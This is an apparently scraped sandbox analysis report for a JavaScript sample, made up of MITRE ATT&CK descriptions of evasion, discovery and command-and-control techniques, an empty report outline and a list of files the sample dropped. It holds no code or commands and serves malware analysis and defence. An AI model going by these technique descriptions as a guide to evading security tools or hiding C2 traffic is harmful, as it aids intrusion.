Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9751253252198928098.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\05f1406d-babd-44a7-a16b-76777d0d2625.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1712

Windows Analysis Report
9751253252198928098.js